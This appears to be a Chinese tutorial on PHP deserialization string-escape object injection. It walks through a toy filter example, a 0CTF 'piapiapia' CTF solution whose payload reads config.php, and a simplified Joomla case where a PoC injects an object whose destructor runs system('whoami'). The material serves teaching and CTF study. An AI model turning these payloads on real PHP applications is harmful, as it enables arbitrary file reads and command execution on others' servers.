漏洞成因

php特性

1
2
3
4
5
6
7
8
9
10
11
12
13
class Test{
public $name='james';
}
$a = 'O:4:"Test":2:{s:4:"name";s:5:"james";s:3:"age";s:2:"20";}';
var_dump(unserialize($a));

/* output:
object(Test)#1 (2) {
["name"]=>
string(5) "james"
["age"]=>
string(2) "20"
}*/
  • php反序列化的时候,会对类中不存在的属性进行反序列化
  • 在反序列化的时候,以;分隔,}结尾,并且判断长度与内容是否合适

example

由于序列化后的字符串,经过过滤函数不正确的处理导致的对象注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function safe($string){
$a = preg_replace("/x/","bb",$string);
return $a;
}
$user = 'monitor';
$pass = "test1230x";
$arr = array($user,$pass);
echo serialize($arr);
echo "\n";
$c = safe(serialize($arr));
echo $c;

var_dump(unserialize($c));

$us = 'monitorxxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"monitor";}';
$pass = "test1230";
$a = array($us,$pass);
echo serialize($a);
echo "\n";
$b = safe(serialize($a));
echo $b;
var_dump(unserialize($b));

2

可以看到,序列化后的字符串,经过过滤函数的处理,会将x替换成bb,看到经过过滤函数之后的字符串:a:2:{i:0;s:7:"monitor";i:1;s:9:"test1230bb";}test1230bb实际长度是10,但是输出结果还是原先的9。并且,php在反序列化时候,只要字符串块合法就可以,显然,第一个反序列化长度为10,结果为9,抛出错误。

因此,我们输入一个 x可以逃逸出一个空位,那么如果我想改变pass的属性:";i:1;s:7:"monitor";}需要20个字符,那么输入20个x就可以注入成功,改变pass的属性值。

0CTF piapiapia

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
...//update.php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
//class.php
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
...
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
...//profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

提供一个用户信息修改的地方,代码处理时会先序列化,再经过安全函数的处理会导致字符串逃逸,可以修改对象的属性值,配合file_get_contents可以读取任意文件内容。

poc:nikename[]=where*34";}s:5:"photo";s:10:"config.php";},这里一个where可以逃逸出一个空字符

Joomla逃逸

这里用的是网上别人的写的简易版,来看看漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class evil{
public $cmd;

public function __construct($cmd){
$this->cmd = $cmd;
}

public function __destruct(){
system($this->cmd);
}
}

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
echo $data;
}

function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}

漏洞点在str_replace(chr(0).'*'.chr(0), '\0\0\0', $data),因为joomla会将数据存储到mysql数据库中,protected变量序列化之后会有\x00*\x00,那么mysql数据库不能存储空字符,所以在写入数据库之前经过替换,会将三个字符替换成六个字符,在反序列化时,会在读取的处理回来,这就导致存在逃逸。

先看下替换后的序列化字符串:

1
O:4:"User":2:{s:8:"username";s:60:"m4ng00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";}

在替换后,长度是60,当从数据库提取出来时:

1
O:4:"User":2:{s:8:"username";s:60:"m4ng00NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:54:"1234";}

可以看见,替换回来之后,少了27个字符,那么就可以通过这样对象注入:

1
2
3
4
5
6
7
O:4:"User":2:{s:8:"username";s:60:"m4ng00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
//poc
$username = "m4ng00\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

我们需要将扩增的27个字符覆盖掉password字段,即s:8:"password";s:54:"1234";长度为27,正好覆盖,将payload作为password插入进去,这样在反序列化的时候就会触发evil执行命令3